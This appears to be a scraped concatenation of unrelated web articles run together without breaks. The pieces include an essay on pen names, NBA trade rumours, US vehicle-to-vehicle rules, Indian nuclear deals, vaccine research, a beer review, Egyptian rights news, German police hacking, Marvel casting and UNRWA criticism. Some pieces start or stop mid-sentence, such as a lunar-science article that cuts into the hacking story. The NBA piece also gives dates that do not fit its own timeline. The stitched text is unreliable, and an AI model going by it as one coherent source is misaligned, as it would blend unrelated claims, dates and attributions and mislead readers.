Much as I might agree, my own case strikes me as having more in common with that of Toby Forward, the Anglican vicar who, in the nineteen-eighties, wrote a series of stories posing as a teenage girl by the name of Rahila Khan. Defending his motives in the scandal that eventually resulted—his stories had been published in a series specifically intended as a platform for young immigrant voices in Thatcher-era England—Forward insisted that the Khan stories had not been meant as a hoax, declaring that his pseudonym “released me from the obligation of being what I seem to be so that I can write as I really am.” I differ from the good vicar on a few minor points (I don’t think anyone writes as they “really are,” for example, since all style is either learned or invented), but I agree about the “release from obligation.” That’s as close as I can come to my own reason for having chosen to write as John Wray, and for continuing to do so, in spite of the obvious drawbacks. I’ve discovered that working under a name other than the one in my passport—while an undeniable hassle in airports, hotels, and banks—is a marvelous way to dodge my inhibitions. It doesn’t say much for human psychology, I suppose, that such a simple-headed trick should work so well, but I’m in no position to be fussy. Writing is hard enough without the sin of pride.
From a certain angle, there’s almost no difference between a piece of fiction and a dramatic monologue, or even a stand-up comedy routine. The wonder of revision, I’ve always thought, is that it enables the writer—any writer, regardless of experience or skill—to run through a given routine again and again, until it suddenly becomes worth listening to. And the advantage of a pen name—in my case, at least—is that it gives said writer the courage to perform for his imaginary audience, no matter how charmless or pretentious he might feel. John Wray isn’t so different from poor, nebbishy John P. Henderson from Buffalo, New York. He’s just slightly better company—at least when the work is going well. When it isn’t, needless to say, he’s insufferable; but that’s when I remind myself, with a physical rush of relief, that John Wray doesn’t actually exist.
Which brings me back to the author of “The Plenary Storm,” wherever he may be (catchy title, by the way). I haven’t answered your e-mail, but I’m hoping I’ve answered your question. It’s exactly because John Wray isn’t the name I was given—because it’s one I’ve chosen more or less at random—that I find it so helpful. I’d recommend a pseudonym to everyone, if only temporarily, as a kind of exercise in self-escape. Last I checked, John Henderson was up for grabs.
_
John Wray’s fourth novel, “The Lost Time Accidents,” will be published by Farrar, Straus & Giroux in 2015.
Illustration by Wesley Allsbrook.The Miami Heat have gone through a major offseason of change so far and there is a chance that they have not seen the last of it. Dwyane Wade chose to leave the Heat in free agency to join the Chicago Bulls and there has been no indication of whether Chris Bosh will be healthy enough to play next season.
Next up could be a trade of point guard Goran Dragic. He is one of the last valuable trade chips that the Heat have and if they can’t compete, they will start a rebuilding process.
Michael Saenz of the FanSided Network opined that the Dallas Mavericks could make a play to acquire Dragic from the Heat should he become available and it makes perfect sense.
Dragic would be a huge step in the right direction for Mark Cuban and the Mavericks. Deron Williams was re-signed to be the starting point guard, although Dallas would be happy to bring him off the bench. Having another starting point guard would likely help keep Williams healthy throughout the season as well.
[AP Photo/Alan Diaz] Last season with the Heat, Dragic ended up averaging 14.1 points, 5.8 assists, and 3.8 rebounds per game. He shot 47.7 percent from the field overall and knocked down 31.2 percent of his three-point attempts. Dallas needs more of a scoring punch and there is no question that acquiring Dragic would give them just that.
At 30-years-old, Dragic still has a lot of basketball left to play in his prime. If the Mavericks were to trade for him, they will have three years left on his contract and a player options at the end of those three years, according to Spotrac. Having that kind of control is likely very interesting to many teams, especially a team like Dallas who is trying to build a title contender.
Looking ahead at the upcoming 2015-16 NBA season, the Mavericks certainly look like a playoff team. They were able to snag Harrison Barnes to replace Chandler Parsons, which many believe will end up being an upgrade. Re-signing both Williams and Dirk Nowitzki was key as well.
Rick Carlisle won’t have the kind of depth that he had last season, but there is still plenty of talent for him to work with.
If the Heat do make Dragic available in trade talks, there are going to be a lot of teams showing interest. There are plenty of teams who need an upgrade at the point guard position. Miami will not deal him just to make a move, but they would listen at the right price.
[AP Photo/Joel Auerbach] Pat Riley has to be fairly upset with the way the offseason has gone. He was able to re-sign star big man Hassan Whiteside, but lost Wade and Luol Deng. There have been a few moves that they have made since losing both of those players, but they certainly aren’t enough to remain a serious contender in the Eastern Conference.
Dallas has always looked to make splashes in free agency and via the trade market with Cuban running things. He is willing to spend big to build a contender and Dragic is exactly the kind of piece that he would target.
Expect to hear plenty of rumors involving the Mavericks throughout the remainder of the offseason. It isn’t a sure thing that Dragic will be placed on the trade block, but it would certainly make a lot of sense.
Do you think the Miami Heat should consider trading Goran Dragic this offseason? Should the Dallas Mavericks try to acquire him if he is placed on the trade block? Let us know your thoughts in the comment box below.
[AP Photo/Jim Mone]Nearly three years after it was first mooted, the National Highway Traffic Safety Administration published a Notice of Proposed Rulemaking on Tuesday that will mandate vehicle to vehicle (V2V) communication systems in all new cars and trucks. Once the rule is finalized, car makers will have two model years to begin including V2V systems, with some added leeway for product cycles. V2V-equipped cars will communicate with each other at short ranges to prevent the kinds of accidents where current advanced driver assistance systems, most of which depend on line of sight, aren't effective.
V2V, and the related vehicle to infrastructure (V2I), relies on the Dedicated Short-range Radio Communication (DSRC) wireless protocol to communicate between devices at ranges of up to 984 feet (300m). Vehicles will be able to send out standardized "basic safety messages" that trigger driver alerts or even emergency avoidance actions to prevent crashes. (For a more detailed explanation of how V2V works, check out this piece from Ars' Sean Gallagher.)
Recognizing the immense implications of an insecure protocol, the notice asks industry and the public for input on the proposed security specifications and proposes that "vehicles contain “firewalls” between V2V modules and other vehicle modules connected to the data bus to help isolate V2V modules being used as a potential conduit into other vehicle systems." Privacy is also given due attention, and the proposed rule would prevent cars from sending out identifiable data like a vehicle's VIN or a driver's name or address.
It has taken a long time to get here—even longer than the 33 months we've waited to see the NHTSA's notice. The Federal Communications Commission set aside the 5.9GHz band for V2V and V2I back in 1999, although it took until 2002 before work began on the 802.11p protocol. Back then, a dedicated communications protocol seemed like a great idea since cell networks weren't thought capable of sufficiently low latency to be useful in this context. But nearly two decades later, it looks like 5G solves that problem, and you can bet that automakers will be packing 5G modems into cars as soon as they can get their hands on them. (With that in mind, the notice includes proposals for interoperability with non-DSRC protocols.)
As you might expect, companies with an interest in V2V technology are delighted. "As a leading technology provider to the automotive market, we view an accelerated rollout of this life-saving technology as one of the most important milestones in the history of our industry, one that will transform our roads and vehicles as never before," said Kurt Sievers of NXP (which makes a V2V system called RoadLINK).
Ravi Puvvala, CEO of Savari—which makes V2X systems—was similarly effusive: "V2X is clearly one of the big technology news stories of 2016 and this momentum will carry on into the New Year. This is one of those watershed moments that we will look back on fondly 10 or 20 years from now, examining how safe our roadways have become and how many lives were saved."
But not everyone is as enamored. Marc Scribner, a research fellow at the Competitive Enterprise Institute, worries that we're locking ourselves into an obsolete technology. "They're being a lot more conscientious about it than I think a lot of people give them credit for," he said. "I still think the technology is fundamentally flawed, and the way the rollout will happen is flawed, because there's very good odds that we'll have fully automated vehicles by the time this technology is deployed wide enough to give you any of these crash-avoidance benefits. You have to encounter another vehicle on the road with the technology for it to work."
"The latency problem that people were complaining about with regards to cell networks is going away," Scribner told Ars. "And you already have this widely deployed network that you're not taking advantage of; instead, you're talking about building an entirely new network—which no one knows how to pay for."
Interestingly, the V2I system that Audi demoed for us last week in Las Vegas uses 4G LTE and not DSRC to communicate between vehicles and traffic signals.
If you want to give NHTSA feedback on the proposed rule, the public comment period is open for 90 days.NEW DELHI: India’s nuclear programme is set to get a huge boost thanks to three big changes. First, Japan has asked India for a dedicated nuclear reactor site, signaling that not only is it willing to shed all inhibitions of doing nuclear commerce with India but is also keen to be counted with the US, France and Russia as a power building nuclear parks here.Second, India is giving big contracts for six reactors each to US blue-chip companies GE and Westinghouse. This is a big shift from India’s long-standing policy of signing deals for two reactors at one go. The six-reactor deal with the two American companies will mean cheaper pricing for India.Third, a critical component of the nuclear industry, the insurance structure, will be activated next month when Nuclear Power Corporation of India Ltd (NPCIL) buys a nuclear insurance policy at Rs 100-crore premium from a consortium that includes General Insurance Corporation (GIC) and a group called Nuclear Risk Insurers from Britain.The Japanese willingness to set up a nuclear park in India is a major foreign policy advance. This is because Japan is the only country that has faced a nuclear attack and is still willing to invest in India, which despite the Indo-US nuclear deal is still a nuclear weapon state outside the Non-Proliferation Treaty. Meetings are slotted over the next few months to close Indo-Japan nuclear negotiations.Tokyo’s decision shows an even wider global acceptance of India’s nuclear programme. Plus, Japan’s government-driven investment plans have typically suited India most. Critical infrastructure projects, the Metro for example, took off on the back of the Japanese government’s financial commitment. Capital-intensive nuclear programmes will benefit from Japanese involvement.The 6-reactor-each order for Westinghouse and GE, which got finalised following US President Barack Obama’s visit earlier this year, will lower costs, and costs have always been an issue while negotiating nuclear commercial deals with the US. The sites for these reactors are in Gujarat and Andhra Pradesh.One reason why high per unit cost of power have typically been cited by US companies were the provisions of the Civil Liability for Nuclear Damage Act (CNLD) that asked for what many stakeholders thought were very high order of compensation.An insurance pool was a critical part of the liability setup, and GIC plus the British group’s Rs 1,500-crore insurance pool will cover India’s civil nuclear programme, with NPCIL buying the insurance next month. According to the CNLD Act, this sum would be made available as compensation right away after any nuclear disaster or accident that impacts areas 10 km beyond the site. Payment will not depend on fixing responsibility and will be quick.Since the CNLD Act made suppliers – say, GE or Westinghouse – liable for a nuclear accident, as opposed to global norm of holding the operator, in India’s case NPCIL, responsible, nuclear liability rules became anti-investment. This issue was resolved through an insurance pool that covers risks for suppliers.The resolution happened after Prime Minister Narendra Modi came back from the US late last year and instructed officials that the issue must be solved without changing the law and without putting a big financial burden on the government.Muhammad Saeed al-Sahhaf, former Iraqi Information Minister under Saddam Hussein, and prospective health policy analyst for the Heritage Foundation.
Every conservative knows that Obamacare is a bureaucratic train wreck that constitutes the greatest threat to freedom in American history by its sapping of our precious bodily fluids. But isn’t it true that, at the very least, this massive socialistic monstrosity is providing some people with health insurance? The Obama administration has a new report showing that the uninsured rate has dropped by 35 percent so far. The conservative Heritage Foundation isn’t buying it:
Critics say the report falls short because it is an extrapolation from Gallup surveys instead of being based on hard data. Edmund Haislmaier, senior fellow at the Heritage Foundation, a conservative research group, said the report also doesn’t include essential information on how many people who signed up on exchanges were previously uninsured. “It’s premature to say it’s ACA related,” Mr. Haislmaier said.
Right, I mean, who can really say? Yes, there has been a sudden and extremely sharp plunge in the uninsured rates among the populations eligible for coverage under Obamacare that begins at the exact time Obamacare took effect:
But that could be anything. Survey error. People being excited about Republicans winning the midterm. Sunspots. You never know. Probably not the sudden availability of a major new federal health-care law enrolling millions of people.DC MOVIES
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Batman v Superman : Dawn of Justice [ARCHIVED] : Mar 25, 2016.
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Aquaman [ARCHIVED] : Dec 21, 2018
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WARNER BROS.In His Final Days, Obama Quietly Expands War Powers Before Handing Them Off To Trump
from the hey-that's-a-big-deal dept
Council on Foreign Relations senior fellow Micah Zenko didn’t mince words in the Times when describing what the Obama administration is doing: “It’s crazy,” he said of the administration’s redefining the law out of existence. “This administration leaves the Trump administration with tremendously expanded capabilities and authorities.” Make no mistake: Trump will have a free hand to use the law meant for the perpetrators of 9/11 to wage war around the world, fashioning it to different enemies at his command, and he will be able to point to precedent set by the Obama administration as he does it. Per usual, all the White House’s decisions are being made under the veil of official secrecy. The only reason we know about it is not because the administration announced it, but because the New York Times reported it after unnamed officials leaked it to them.
Trump is now coming into office with ever expanding war powers, and they’re being served to him on a silver platter by the same people who told the American public two months ago that Trump was so unstable and thin-skinned that he couldn’t be trusted with the nuclear codes.
While we knew it was impossible for President Obama to truly rein in the massive executive powers that he helped expand (following on the massive expansions from previous administrations) concerning national surveillance and war -- we had still hoped that maybe his concern about a President Trump would let him do a few small things to limit some of the most egregious powers. Instead, it appears that President Obama is doing the opposite, and expanding his war powers, just as he's about to hand them to someone that he, himself, has loudly criticized as being unfit for the Presidency.For years now, we've written about how the Obama administration has regularly rewritten the dictionary in order to pretend that the Authorization to Use Military Force (AUMF) hastily granted by Congress in the wake of 9/11 enabled him to go to war with basically anyone. If you don't recall, the AUMF granted the President the power to use "all necessary and appropriate force" to go after those who "planned, authorized, committed or aided the terrorist attacks that occurred on September 11, 2001." That's already fairly broad, but over the years basically our entire government has pretended that (1) the AUMF included the ability to also target "associated forces" (even though it does not) and (2) it allowed the President to simply lump in anyone he wanted as an "associated force" allowing him to bomb them without any Congressional authorization. This is how you get a war without end, in which the explicit authorization to go after Al Qaeda is now being used on a surprisingly long list of groups that didn't even exist in 2001.And, just a few days ago, President Obama expanded the list yet again, allowing himself to go after yet another group: Shabab. Now, no one is trying to claim that Shabab, or ISIS or any other group that has been added to the list aren't out to do serious harm to the US. But, this seems to go way beyond the basic functions of the office of the President and the simple Constitutional requirement for Congress to declare war. As Trevor Timm notes at the Guardian, this is a big deal And that's not all. The Obama administration has also given more powers to the Joint Special Operations Command (JSOC) -- the organization that helped find and kill Osama bin Laden. And, again, people are raising concerns about how this power will be used by the next President. As Timm notes:This isn't about which President or which party you support. It seems like we should all be concerned with the ever growing power of the executive branch in general, and especially its willingness to grant itself more powers to go around and kill people.
Filed Under: aumf, donald trump, executive power, president obama, surveillance, warThe actual data showed that presentation of genital warts to GPs fell from 4.33 per 1000 encounters in 2007, when the HPV vaccination program was introduced in Australia, to 1.67 per 1000 encounters in the period after introduction of the vaccine, from 2008-2012. Think about this another way–the risk of contracting HPV related genital warts was nearly 2.6X higher during the pre-HPV vaccine era in Australia.
Now, you might think that there's some other thing going on in Australia to cause the drop. Except, in groups that were not covered by the HPV vaccine, say in individuals older than 30 or 40, the rate of genital warts was unchanged between the two periods, effectively acting as a control group.
The real world estimate is that the vaccine prevents 71 genital wart cases per 100,000 women and 21 cases per 100,000 men (not statistically significant) every year. And those 92 cases are at high risk of causing at least six types of cancers. And the article isn't even looking at the saved cost to the health care system for fewer cases of genital warts and subsequent cancers.
"The results show that the program has been a widespread success," stated the lead author of the study Christopher Harrison of the University of Sydney. "The program has proved to be a great success and of huge benefit to the sexual health of Australia, and has clearly proven to be very worthwhile."
This article is a powerful one, including data from over 60,000 vaccinated individuals compared to nearly 400,000 control patients. This isn't some garbage study, often pushed by the antivaccination cult, with a handful of patients or based on anecdotes. This is another in a long line of massively powerfulstudies of Gardasil that show it is clinically effective and clinically safe.
The authors of the study concluded that:
This study provides evidence that the quadrivalent HPV vaccination program has led to a decreased management rate of genital warts in general practice among those women of vaccine-eligible age. This study, along with those showing the decrease in diagnosis and management of genital warts in sexual health clinics and private hospitals suggests an overall community wide decrease in both the incidence of genital warts and its subsequent management. Due to this reduction, some young women in Australia have been spared the distress of having genital warts and the health system spared the cost of having to treat them.
This article tells me that Gardasil works, and a strong free vaccination program is effective, even over the short-term. In the USA, Gardasil is covered by most private insurance programs, and is fully covered by the Federally funded Vaccines for Children Program and Medicaid. In other words, the USA has an almost equivalent program, at no cost to patients, as Australia. Maybe we will have a similar type of study published using a USA cohort.
OK, we now have more evidence that Gardasil saves lives.
Use the Science-based Vaccine Search Engine.
Key citations:On the 19th of April, 2013, Frank Boon and Brouwerij Boon celebrated their grand re-opening with a special party and a special beer. Herman Van Rompuy, the EU President and a friend of Frank’s, was. in attendance to cut the ribbon and officially open Boon’s new brewery. To celebrate the next stage in the brewery’s evolution, Frank created a new beer for the occasion.
Vat 44 is a single barrel (foeder) “mono blend.” In December of 2008, he brewed a heavier than normal batch of beer and placed it in Foeder No. 44. The beer was then bottled in August of 2010 where it bottle conditioned for nearly 3 years before the big party. Only 20,500 375ml bottles were produced (approximately 1,700 12-bottle cases).
Appearance: Hazy gold/blonde. Off-white head, ok retention.
Aroma: Lemon, citrus zest, grapefruit, strong brett funk, notes of straw, fruity undertones.
Taste: Funky and tart with a long finish. Creamy mouthfeel. A bit of white pepper on the finish. Balanced.
Overall Impression: Like all Boon beers, this beer is elegant and very well-balanced. All the parts come together harmoniously. This particular version of his geuze appears to be a bit heavier on the brettanomyces side of things and should continue to develop nicely for a long time. I’m glad I have a few bottles to lay down. While this particular beer was a one-off, I really hope this concept becomes a regular limited-release at Boon. This would add a 3rd, ultimate layer to Boon’s Geuze line (Oude Geuze and Mariage Parfait).
Availability: High limited and dwindling (Limited western European distribution)
8.5% ABV
To read more about Brouwerij Boon and my reviews of their beers, go to my page on Brouwerij Boon where you can also read about my tour of the brewery with Frank Boon.
Like this: Like Loading...FILE -- In this Feb. 12, 2016 file photo, the family of Giulio Regeni follows his coffin during the funeral service in Fiumicello, Northern Italy. Egyptian prosecutors have ordered the detention for 15 days of a lawyer who assisted the family of an Italian graduate student killed under suspicious circumstances during a police crackdown in Cairo, accusing him of disseminating false news. Ibrahim Metwally was arrested at Cairo International Airport Sunday, Sept. 10, 2017, while traveling to Geneva for a U.N. meeting on enforced disappearances. (AP Photo/Paolo Giovannini, File)
CAIRO (AP) — Egypt on Wednesday acknowledged the detention of a human rights lawyer who went missing on his way to a U.N. conference on forced disappearances, accusing him of disseminating fake news.
Ibrahim Metwally, who was arrested at Cairo International Airport three days ago and initially held incommunicado, may have been targeted because he provided legal aid to the family of Giulio Regeni, an Italian graduate student who was abducted and tortured to death in 2016 during a police crackdown in Cairo.
Regeni’s killing sparked a major diplomatic row with Italy, which said Egyptian authorities had not fully cooperated with investigators and withdrew its ambassador in protest last year. On Wednesday a new ambassador arrived, signaling an improvement in relations.
Egyptian authorities have denied any involvement in Regeni’s killing, but activists say it bore the hallmarks of police brutality. Regeni went missing in Cairo on Jan. 25, 2016, when police were out in force to prevent protests, and his body was found days later, bearing the signs of intense torture.
The Supreme State Security Prosecution on Wednesday acknowledged Metwally had been detained, and ordered him held for 15 days in Cairo’s sprawling Tora Prison complex pending investigations. It said he was interrogated Tuesday night.
Egypt has severely limited the work of the country’s human rights community amid a wider crackdown on dissent since the military overthrew an elected Islamist president in 2013. Authorities have imposed travel bans and frozen the assets of several prominent human rights advocates in recent years, and parliament has passed legislation banning most foreign funding for rights organizations. In recent months Egypt has also blocked hundreds of websites, including many run by rights groups.
The Egyptian Commission for Rights and Freedoms said authorities should immediately release Metwally, drop all criminal charges against him, and report on steps taken to investigate and ensure accountability in the case.
“He was charged with managing a group created against the law, spreading false news, and cooperation with foreign organizations,” it said in a statement, adding that family members and lawyers only discovered Metwally’s whereabouts Tuesday evening, while his home was raided.
Metwally co-founded Egypt’s Association of the Families of the Disappeared after his own son vanished in July 2013 during clashes at an Islamist protest.
An expert on the matter who has been lobbying Egyptian authorities on the issue since 2014, Metwally had been invited to speak to the U.N. Working Group on Enforced Disappearances.
Egyptian authorities have taken similar measures against other rights advocates who have tried to travel abroad to take part in international forums, in what critics say is an effort to conceal its poor human rights record.
Egypt acknowledged Metwally’s detention hours before the new Italian ambassador, Giampaolo Cantini, arrived in Cairo. The new envoy has been tasked with pursuing the Regeni case, which outraged many in Italy and sparked a popular campaign to pressure officials to uncover the truth.
There was no media access to Cantini’s welcoming ceremony at the VIP lounge of Cairo’s international airport.
Pier Antonio Panzeri, chair of the European Parliament’s Subcommittee on Human Rights, said it was “unacceptable that a prominent lawyer should vanish at an airport,” and urged Egyptian authorities to ensure Metwally’s “immediate and unconditional release.”
“The continued practice of detaining the families of people subjected to enforced disappearance reflects the persistent trend of harassment and intimidation of human rights defenders, lawyers and ordinary citizens by the Egyptian authorities through the misuse of the criminal justice system,” he said in a statement late Tuesday.
Rights groups say enforced disappearances and torture are endemic in Egypt. At least two other individuals have disappeared this year after following up on cases of friends or relatives secretly detained by authorities.
Ahmed Abdullah, another lawyer who assisted the Regeni family, was tried on similar charges to those leveled against Metwally and at one point faced the death penalty during his 4 ½ months in prison before he was released.
“It’s very dangerous working on this case, and now with the return of an Italian ambassador the regime is becoming emboldened to sweep it away,” he said. “But Giulio was one of us, he was killed like an Egyptian and he deserves the truth be told, so we will not give up in obtaining justice.”
Just after the new Italian ambassador arrived, the Egyptian Interior Ministry, which is in charge of police, announced it had signed a joint protocol with its Italian counterparts to train African police to combat organized crime and illegal immigration.
“It reflects the confidence of the Italian and European security services in the expertise of the Egyptian security services,” the ministry said in a statement.
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Follow Brian Rohan on Twitter at: www.twitter.com/brian_rohanGreat piece by Dan Perry of AP, from Tel Aviv, headlined “Israel left wing sees Jewish state’s end.” This is important because Ehud Olmert’s declaration of a few years ago, that Israel is committing suicide, is finally entering the mainstream in the United States. Though the Israeli speakers in the piece, including Amos Oz of J Street and Yuval Diskin of the Gatekeepers, are trying to save Zionism; they state that the choice is between rightwing apartheid and Palestinian rule. Maybe the choice is between apartheid and democracy? (Thanks to Omar Barghouti). Perry:
An apocalyptic tone has crept into Israel’s hitherto muted election season, with opposition leaders and others sounding increasingly desperate warnings that a few more years of rule by Prime Minister Benjamin Netanyahu’s heavily favored right wing might well destroy the Jewish state.
…Perhaps the most strident proponent of this message is former Foreign Minister Tzipi Livni, who four years ago led peace talks with the Palestinians and recently founded a new party whose primary message is that the Zionist project is in danger. “Netanyahu is leading us toward the end of the Jewish state,” she said in a statement Friday. “Israelis must choose between extremism and Zionism. Israel is in great danger and everyone must wake up now.”
Outgoing opposition leader Shaul Mofaz, a former military chief and defense minister, warns at campaign appearances that Arabs will soon outnumber Jews in the Holy Land and the main strategic priority must be to partition the land to prevent the emergence of a “binational state.” Leaders of the main center-left Labor Party say much the same.An avalanche of new research illuminates the strange swirls of light and dark peppering the surface of the moon, suggesting that the weak magnetic field Earth's only natural satellite offers a surprisingly strong shield to parts of the lunar crust.
Many ponder the mysteries of Europa's moon-wide, ice-covered sea or doomed Phobos' strange composition, but Earth's moon holds secrets even closer to home. Researchers have long wondered about the curlicue patterns that can be tens of miles across on the moon's pockmarked surface.
"These patterns, called 'lunar swirls,' appear almost painted on the surface of the moon," John Keller, a researcher at NASA's Goddard Space Flight Center in Maryland, said in a statement. "They are unique; we've only seen these features on the moon, and their origin has remained a mystery since their discovery." Keller is a project scientist for the NASA's Lunar Reconnaissance Orbiter (LRO) mission. [Amazing Moon Photos from NASA's Lunar Reconnaissance Orbiter]
The bright patches of the swirls seem to be less weathered and worn away than the dark parts, and the swirls occur in places where the moon's surface is magnetized, according to previous research. From those observations, scientists have developed three main hypotheses about the swirls' origin, NASA officials said in the statement: that the moon's magnetic field protected parts of the surface from abrasive solar wind, that dust settled in alignment with the magnetic field, or that plumes of material from comet impacts caused both the swirls and the magnetic fields.
Unlike Earth, whose swirling, metal core generates a globe-wide magnetic field, the moon does not (currently) generate a widespread field. Instead, patches of crust are magnetized in irregular patterns. While the protective-field explanation seemed plausible, researchers didn't understand how those weak magnetic fields could have provided a strong enough protective effect on the lunar surface.
"The problem with the magnetic-shield idea is that the embedded magnetic fields on the moon are very weak — about 300 times weaker than Earth's magnetic field," Bill Farrell, head of NASA Goddard's DREAM2 Center for Space Environments, said in the statement.
Three new papers from DREAM2 researchers describe models for how the weak field could in fact protect the surface from the unceasing solar wind, and new observations from the LRO further support the conclusion.
The sun's fierce activity sends a constant stream of energetic, charged particles out into the solar system, bombarding the planets, moons and asteroids that dwell there. Earth's magnetic field deflects most of these particles from the planet's surface; their interactions with that field and the particles in the atmosphere cause vivid auroras near the north and south poles. The moon, on the other hand, stands mostly unprotected as it's constantly showered by the energetic particles, which can travel from 200 to 500 miles per second (300 to 800 km/s) depending on the sun's level of activity.
According to the new models, even the moon's weak surface-magnetism can generate a strong electrical field when the solar wind flows through, and that electrical field is able to deflect the particles away from parts of the lunar surface. So the whirls of magnetism are inscribed on the moon in the form of lighter areas that are less worn away by the sun's pelting |
attention just after German newspaper "Bild am Sonntag" on Sunday cited a confidential report by the federal information security agency, BSI, saying that computers of the federal police had been infected by Trojans for months without detection.
The hacking group now offers an encrypted file for downloading on its website stating that it had collected e-mails and confidential data from the police and customs authorities. The group said it would release the password for the encrypted file should police arrest more of the group's members.
"The terrifying fact about these attacks is that the delinquents are quite young. If these 17-year-old schoolboys are able to do that, what would happen if a much more experienced hacker would attack?" said Lars Sobiraj, editor-in-chief at the German-speaking online magazine gulli who interviewed members of the group this week.
In the interview, members of the group said they regarded their hacking as a wake-up call for the German public to see that the state kept the population under permanent surveillance. The group announced on its website that it will initiate more attacks. "New targets have been chosen," it said.
The attacks came just four weeks after German Federal Secretary of the Interior Hans-Peter Friedrich opened the Cyber Defense Center. The center is run by the BSI, the federal office for the protection of the constitution and the disaster control agency. The authorities whose systems were attacked also contribute to the operation of the center.
A spokesman of the BSI that leads the center against cyberattacks said Thursday that the agency would not comment about the events due to the ongoing investigations.
The center against cyberattacks has been criticized for not having the ability to fight electronic attacks. After its opening in June, Memet Kilic, a member of the Green party that is part of the opposition, said the center did not have enough financial and human resources. According to the BSI, the center has 10 full-time employees.
In an interview with the news magazine "Der Spiegel" this week, Klaus Jansen, leader of the German union of police detectives, said that security authorities do not have enough experts working with them to effectively fighting cybercrime.Passing a controversial bill is just the first step. Then come the legal costs.
Just last week, Idaho was ordered to cover the $376,000 in legal fees a woman there spent on suing the state after she was charged for an illegal abortion, according to the Associated Press. Combined with its past defense of abortion limits, the state has shelled out more than $1 million since 2000.
And it’s far from alone. South Dakota’s attorney general predicted in 2011 that a law passed that year would cost anywhere from $1.75 million to $4 million to defend. And last summer, the Argus Leader reported that the state had, to that point, spent $378,000 in defense of a separate 2005 abortion law.
Texas Sen. Wendy Davis (D) leads a rally in support of abortion rights in Austin. (Credit: Erich Schlegel.)
Kansas has spent $769,000 defending abortion limits from January 2011 to June of this year, according to the Associated Press. The state’s attorney general predicted an additional $500,000 cost over the next two years.
And in North Dakota, Attorney General Wayne Stenehjem (R) was given a $400,000 fund to draw from to defend that state’s abortion restrictions.
“These are complicated, complex lawsuits, so they take a lot of time,” he said in his request for funds.
“They are heavily dependent on expert medical witnesses, and we would need to make sure those are available and we have the funding to pay for them.”
Legal expenses can be costly, but there can be other financial penalties to states that pass abortion laws. In April 2012, New Hampshire’s Health and Human Services commissioner warned that an abortion law under consideration there could jeopardize the federal half of the state’s $1.4 billion annual state-federal Medicaid program.Yesterday’s big news was that Marvel Studios finally announced Joss Whedon as the writer and director for The Avengers 2, a movie that the studio had discussed only in circumspect terms even after the first film turned into one of the most successful films ever released.
As it happens, Marvel has Whedon set up to do more than just write and direct another Avengers movie. He’s going to help out with the planned TV series set in the Avengers universe — we learned that yesterday, too. But Marvel has Whedon on exclusive contract for the next three years, through the end of 2015, and the official statement from Marvel gives us some good info about what to expect from his upcoming work with the studio.
Here’s what Marvel has to say:
Joss Whedon has signed an exclusive deal with Marvel Studios for film and television through the end of June 2015. As part of that deal, Whedon will write and direct Marvel’s The Avengers 2 as well as help develop a new live-action series for Marvel Television at ABC. He will also contribute creatively to the next phase of Marvel’s cinematic universe.
That last line, about contributing creatively to the next phase of the Marvel cinematic universe, is a big deal. That’s what puts him in line to work on the TV series in some capacity. It also means he could end up going a pass on the scripts for Captain America: The Winter Soldier (as he did with the first Cap film) and Guardians of the Galaxy. Could he contribute to Thor: The Dark World, which is nearly ready to shoot? Possible.
Finally, that 2015 date gives us a good idea of the release plan for the Avengers sequel. Presumably, the film will anchor Marvel’s summer with either a Friday May 1 2015 release to kick off the summer movie season, or on Friday May 22, to take advantage of the Memorial Day holiday weekend.Bassam Eid, a prominent Palestinian human rights activist, has issued an urgent plea for a serious overhaul of UNRWA, the UN agency tasked with caring for the Palestinian refugees of the 1948 war in which Arab armies failed to prevent the creation of the State of Israel.
Eid, the Director of the Palestinian Human Rights Monitoring Group, is currently visiting London, where he addressed a meeting at the British parliament organized by the Henry Jackson Society, an international relations think-tank, entitled “Perpetuating Statelessness? UNRWA, Its Activities and Funding.” In that presentation, Eid, who was raised in the UNRWA refugee camp in Shu’afat, east of Jerusalem, harshly criticized the agency for perpetuating the plight of the refugees as well as for its political relationship with Hamas.
“Sixty-six years after it was created, UNRWA is still promising Palestinians that they will return to their homeland,” Eid told The Algemeiner by telephone. “In my opinion, causing five million Palestinian refugees to suffer more and more under the umbrella of the ‘right of return’ is a war crime. They are being used as pawns in a war strategy.”
Eid, however, does not advocate the dissolution of UNRWA, which operates on a budget of $1.2 billion provided by donor nations led by the United States, which donated nearly $300 million in 2013. Doing so, he argues, would create a vacuum that would inevitably be exploited by wealthy Arab states like Qatar, the principal funder of Hamas. Instead, he is urging a reform program ambitious enough to transform the agency’s core mission.
“As a refugee, I want to see UNRWA submitting audited reports to donor countries,” Eid said. “I want UNRWA to present to the UN High Commissioner for Refugees a plan for the permanent resettlement of the Palestinian refugees. And I want UNRWA to abolish the curriculum they teach in their schools, which promotes war and terror and jihad.”
Eid is particularly concerned by UNRWA’s relationship with Hamas, advocating that all UNRWA employees with Hamas ties be dismissed from their posts. “During the war in Gaza over the summer, it was well known that Hamas was hiding rockets in UNRWA schools,” Eid said. “So what did UNRWA do? They called Hamas on the phone and said, ‘please come and collect your rockets.’ This by itself shows the degree of cooperation between them.”
Donor countries also need to exercise greater scrutiny over UNRWA’s financing and operations. “The donor countries are keeping a blind eye on UNRWA’s activities,” Eid asserted. “This gives the impression that UNRWA is running its own state with its own foreign policy. UNRWA needs to understand that it is just a small agency that belongs to the UN.”
Eid said that it is unclear exactly how many Palestinian refugees there are in the West Bank and Gaza Strip, as well as neighboring countries, because UNWRA has not carried out a census in the camps for more than two decades. “While one source says there are 2.5 million refugees, the Palestinian Authority claims that the number is higher than 6 million,” he wrote in a Jerusalem Post oped that provoked a furious response from UNRWA spokesman Chris Gunness, who took to Twitter to denounce “Jewish terror supporting staff accusing UNRWA of Jihadism.”
Eid continued: “UNRWA, which should be the authoritative source, is silent. So on what figures is UNRWA basing its requests for funds? Do the contributing countries have any idea of what they are contributing to?”
As a first step to focusing UNRWA’s mission away from the ‘right of return’ – a demand that is incompatible with the international commitment to a two-state solution, since an influx of the descendants of the original Palestinian refugees would end Israel’s existence as a sovereign Jewish state – Eid believes that donor countries should convene a major international conference with two purposes.
“First, UNRWA needs to apologize for six decades of false promises,” Eid said. “Then it needs to concentrate on building permanent neighborhoods for the refugees, to remove them from the miserable situation that prevails in the refugee camps.”The project manager at UABCS, Dr Alfredo Beltrán Morales, of the National Research System (SNI) of the National Council of Science and Technology (CONACYT), explained that the development of the project required testing of the techniques in organic farming in La Paz, Baja California Sur (BCS). The Department of Agricultural Sciences at the Autonomous University of Baja California Sur (UABCS), in partnership with the Produce Foundation of Baja California Sur, AC, developed a technology package for the production and improvement of the quality of organic mangoes, with the main goal of reactivating agriculture in the regions south of the entity.
